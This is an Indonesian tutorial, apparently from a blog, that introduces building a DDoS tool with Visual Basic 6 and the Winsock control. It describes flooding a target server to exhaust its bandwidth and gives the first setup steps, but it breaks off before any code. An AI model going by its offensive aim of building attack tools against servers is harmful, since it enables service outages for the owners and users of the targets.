Membuat Sendiri DDoS Tool Dengan Visual Basic 6Saat ini banyak bertebaran DDoS Tool yang bisa kita jumpai di dunia maya ini. DDoS ( Distributed Denial of Service ) adalah sebuah tipe serangan dari hacker yang sangat mematikan. Prinsip kerja dari DDoS adalah kita akan mengirimkan sejumlah perintah berulang ulang dalam waktu yang relatif cepat ke server target. Tujuan dari DDoS adalah dengan menghabiskan bandwith dari server target. Sehingga nantinya server akan mengalami kerusakan.

Untuk keterangan selanjutnya tentang DDoS silakan sobat googling saja. Dalam Visual Basic 6 kita bisa memanfaatkan kontrol winsock untuk membuat sendiri DDoS Tool yang sangat powerfull. Winsock adalah sebuah kontrol yang mampu masuk ke jaringan dengan melalui protokol yang sudah diatur. Untuk memulainya silakan ikuti langkah berikut :

1. Buka Visual Basic 6 sobat. Buat project baru, masukkan componen Microsoft Winsock Control2. Masukkan coding berikut
